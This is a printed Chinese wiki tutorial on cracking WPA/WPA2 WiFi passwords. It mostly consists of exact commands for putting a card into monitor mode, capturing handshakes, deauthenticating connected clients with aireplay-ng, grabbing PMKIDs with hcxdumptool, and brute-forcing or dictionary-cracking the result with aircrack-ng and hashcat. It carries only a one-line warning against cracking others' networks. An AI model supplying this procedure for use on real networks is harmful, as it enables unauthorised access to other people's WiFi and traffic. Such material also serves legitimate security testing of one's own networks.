目录

破解WiFi密码		3
传统方法		3
破解原理		3
		3
		3
	Ţ	5
		5
		5
破解步骤		5

破解WiFi密码

https://irdya.top/ Printed on 2025/12/16 05:18

2025/12/16 05:18 3/6 破解WiFi密码

破解WiFi密码



破解他人的WiFi密码是不被允许的!



WPA/WPA2要求密码长度为8~63个字符串。

鉴于WEP密码已经非常脆弱,几乎没有人继续使用,本文介绍WPA/WPA2的密码破解。

传统方法

破解原理

当设备连接无线热点时,会发送包含密码的握手包。这个握手包中的密码是经过某种不可逆运算处理的。 我们即使获取了握手包,也难以直接得出密码。但是随着计算机速度的进步,我们可以通过穷举法、字典 法等让所有可能的字符串都经过这种不可逆运算,其结果与获取的握手包一致时,则该字符串即密码。

工具

• 硬件:支持monitor模式的无线网卡

操作系统:推荐Linux[以下均为Linux环境)必备软件:Aircrack-ng获取数据包和破解用

● 可选软件:hashcatGPU加速破解,需要合适的显卡及驱动,并支持opencl□

破解步骤

假定你的无线网卡为wlan0\\\开启monitor模式后为wlan0mon\\\

1. 开启monitor模式

airmon-ng start wlan0

执行后wlan0被wlan0mon取代,网卡进入monitor模式。

2. 寻找目标

airodump-ng wlan0mon

列出当前的无线接入点,在上方的表中[]BSSID为无线接入点的MAC地址[]CH为频道[]ENC为加密方式(这里选择WPA或WPA2的接入点[][ESSID为无线网络名称。记录下希望连接的无线网络的**BSSID**和**CH**。下方的表则列出检测到的连接[]STATION列为客户端MAC地址。以下假定BSSID为11:22:33:44:55:66[]CH为6,有一个客户端已连接该接入点,其设备的MAC地址

为aa:bb:cc:dd:ee:ffl记录后按Ctrl+C终止命令。

3. 锁定目标

airodump-ng -c channel 6 --bssid 11:22:33:44:55:66 -w dump wlan0mon

其中dump为文件名的前缀,该命令监听目标无线接入点的数据包,并将捕获到的数据保存在以dump为文件名开头的一系列文件中。这些文件我们关注的是扩展名为.cap的文件。因为这一步可能执行多次,所以文件名为dump-01.cap□dump-02.cap等,这里我们只做一次。

4. (可选)攻击客户端

aireplay-ng -0 3 -a 11:22:33:44:55:66 -c aa:bb:cc:dd:ee:ff wlan0mon

执行上一步时,我们需要等待有人恰好连接该接入点,连接的标志是屏幕的第一行出现WPA handshake 但没有耐心的话,我们可以在新的Terminal或Console下利用这条命令伪造无线接入点向客户端发送验证失败的信息。客户端会短暂下线,通常立即重新连接,这样我们就可以捕捉握手包了。参数中的3表示发送次数,一般不用太多次,上一步的执行画面首行出现WPA handshake即可。

5. 破解

- 。 CPU计算∏aircrack-ng∏
 - 1. 清除多余信息

wpaclean dump.cap dump*.cap

提取数据包中的必要内容,另存为dump.cap文件。

2. 字典破解

aircrack-ng -w dictionary dump.cap

在字典文件dictionary中逐个尝试,直到破解。此处为限速步,可能需要很长的时间(以天或以周计)。字典文件为保存了大量常见密码的文件[]Aircrack-ng的官方网站提供了一些字典文件的来源。

。 GPU计算∏hashcat∏

1. 格式转换

cap2hccapx outfile-01.cap dump.hccapx

将数据文件转换成hashcat支持的格式,转换后文件名为dump.hccapx□可任 意□□cap2hccapx可从hashcat官方网站获取,也可将数据文件上传至这里,点击convert后即下载转换后的文件。

2. 破解

• 暴力破解

hashcat -m 2500 -a3 -i dump.hccapx ?a?a?a?a?a?a?a?a

此处最后一个参数为密码的格式,其含义见hashcat -help□格式中指定的字符数目应为密码可能的最大位数,如已确定其中某个字符,可用该字符替代"?a"的格式;如该字符为"?",则应输入"??"。以位数足够且范围尽可能小为原则。

https://irdya.top/ Printed on 2025/12/16 05:18

• 字典破解

hashcat -m 2500 dump.hccapx dictionary

其中dictionary为字典文件。

6. 退出monitor模式

airmon-ng stop wlan0mon

新方法



建议阅读完传统方法后继续。

破解原理

传统的方法其缺陷在于必须有客户端连接,而新方法则可在无客户端连接的情况下使用。这是WPA/WPA2的漏洞,也是WPA3改进的地方。在WPA3普及之前,我们可以使用该方法。无客户端连接的情况下,只要能从接入点获取含有PMKID的包,就可以进行破解。

工具

• 硬件:支持monitor模式的无线网卡

操作系统□Linux

• 必备软件: hcxdumptool[]hcxpcaptool[]hashcat



并非所有网卡均能成功。

破解步骤

1. 开启monitor模式

ifconfig wlan0 down; iw dev wlan0 set type monitor; ifconfig wlan0 up

2. 获取PMKID

hcxdumptool -i wlan0 --enable_status=15 -o dump.pcap

将数据包存入文件dump.pcap□观察屏幕输出,直到[FOUND PMKID]出现。该步骤可能需要数分钟。

3. 格式转换

hcxpcaptool -z dump dump.pcap

将文件dump.pcap转换成hashcat可以识别的文件dump[]

4. 破解

○ 暴力破解

hashcat -m 16800 -a3 -i dump ?a?a?a?a?a?a?a?a

zh:tutorial:wificrack

○ 字典破解

hashcat -m 16800 dump dictionary

其中dictionary为字典文件。

5. 退出monitor模式

ifconfig wlan0 down; iw dev wlan0 set type managed; ifconfig wlan0 up

From:

https://irdya.top/ - 漂流記

Permanent link:

https://irdya.top/zh/tutorial/wificrack

Last update: 2022/05/26 03:24



https://irdya.top/ Printed on 2025/12/16 05:18